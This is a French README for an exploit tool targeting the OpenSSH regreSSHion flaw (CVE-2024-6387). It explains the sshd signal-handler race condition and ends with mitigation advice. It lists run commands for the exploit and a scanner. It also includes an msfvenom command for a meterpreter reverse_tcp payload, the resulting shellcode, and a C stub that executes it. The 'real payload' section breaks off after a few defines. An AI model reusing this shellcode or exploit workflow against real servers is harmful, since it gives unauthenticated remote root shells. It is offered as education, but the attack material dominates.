EXPLOIT CVE-2024-6387

💥 EXPLOIT CVE-2024-6387 (regreSSHion)

Outil d'analyse, de détection et de tests contrôlés de la vulnérabilité CVE-2024-6387 sur les serveurs OpenSSH.

⚠️ Aviso Legal y Ético

Ce dépôt est exclusivement éducatif.
Utilisez-le uniquement sur :

• Des laboratoires (HTB, TryHackMe)
• Des environnements personnels
• Des audits avec autorisation explicite

⚠️ Scanner ou exploiter des systèmes sans autorisation est illégal.
Ce contenu est destiné à la défense et à l'apprentissage.

📑 Table des matières

• 📖 Description générale
• 🔍 Détails techniques
• 📊 Versions affectées
• ⚙️ Utilisation
• 🛠️ Atténuation
• 📚 Références
• 👤 Auteur
• 📢 Avertissement

📖 Description générale

CVE-2024-6387, connue sous le nom de regreSSHion, est une régression d'une vulnérabilité précédemment corrigée en 2006 (CVE-2006-5051).

Elle a été réintroduite dans OpenSSH 8.5p1 (2020) et permet :

• Exécution de code à distance (RCE)
• Accès potentiel en tant que root
• Attaque non authentifiée
• Aucune interaction de l'utilisateur

Il existe également une vulnérabilité associée :

• CVE-2024-6409 → affecte le processus fils dans les environnements avec séparation des privilèges

🔍 Détails techniques

La vulnérabilité repose sur une race condition dans le gestionnaire de signaux de sshd.

🧠 Fonctionnement

1. Le serveur définit LoginGraceTime (par défaut : 120s)
2. Si le client ne s'authentifie pas :
   • Le signal SIGALRM est déclenché
3. Le gestionnaire exécute des fonctions non sécurisées pour les signaux, comme :
   • syslog()
   • malloc()
   • free()

💣 Impact

Cela peut provoquer :

• Corruption de la mémoire (heap)
• Exécution arbitraire de code

⏱️ Difficulté d'exploitation

• Nécessite environ 10 000 tentatives (race condition)
• Sur systèmes 32 bits :
  • Peut prendre 6 à 8 heures
• Facteurs :
  • ASLR
  • Latence réseau
  • Charge du système

📊 Versions affectées

🛡️ OpenBSD n'est pas vulnérable grâce à des protections supplémentaires mises en œuvre depuis 2001.

⚙️ Utilisation

python3 exploit.py

🔎 Scan des serveurs OpenSSH

python3 scanner.py <IP> -p 22

# Génération d'un shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Payload personnalisé

#include <stdio.h>

// Un espace réservé pour votre payload personnalisé
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Exécuter le shellcode
    printf("Exécution du shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Payload réel

#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

🛠️ Atténuation et correction Il est recommandé de suivre ces étapes de toute urgence, en particulier sur les actifs exposés à Internet :

Mise à jour immédiate : Mettre à jour vers OpenSSH 9.8p1 ou appliquer les correctifs spécifiques à chaque distribution.

Configuration de sshd : Si la mise à jour n'est pas possible, définissez LoginGraceTime 0 dans le fichier /etc/ssh/sshd_config.

Avertissement : Cela empêche le RCE, mais expose le serveur à un déni de service (DoS) par épuisement des connexions.

Contrôle d'accès : Limiter l'accès SSH via des contrôles basés sur le réseau (Firewalls/VPN) et la segmentation du réseau pour éviter les mouvements latéraux.

Références

• https://www.zscaler.com/blogs/security-research/openssh-vulnerabilities-cve-2024-6387-cve-2024-6409-pose-significant
• https://www.exploit-db.com/exploits/52269
• https://www.offsec.com/blog/regresshion-exploit-cve-2024-6387/
• https://github.com/xaitax/CVE-2024-6387_Check

👤 Auteur

Kaleth Corcho
Ingénierie des Systèmes · WolvesTI · Bogotá, Colombie

📢 Avertissement

• Note importante :
  • Cet outil est développé et utilisé uniquement pour des tests d'intrusion autorisés et des exercices d'équipe rouge. Il est conçu pour identifier et exploiter les vulnérabilités du serveur OpenSSH sur les systèmes Linux basés sur glibc. Toute utilisation non autorisée de cet outil est strictement interdite. Le propriétaire de cet outil n'est pas responsable des accès non autorisés ou de l'utilisation malveillante de l'outil.
• Avis légal :
  • L'utilisation non autorisée de cet outil sur des systèmes ou réseaux sans autorisation explicite des propriétaires respectifs peut violer les lois et réglementations applicables. Les utilisateurs sont responsables de la conformité aux normes légales et éthiques régissant les tests de cybersécurité et les évaluations.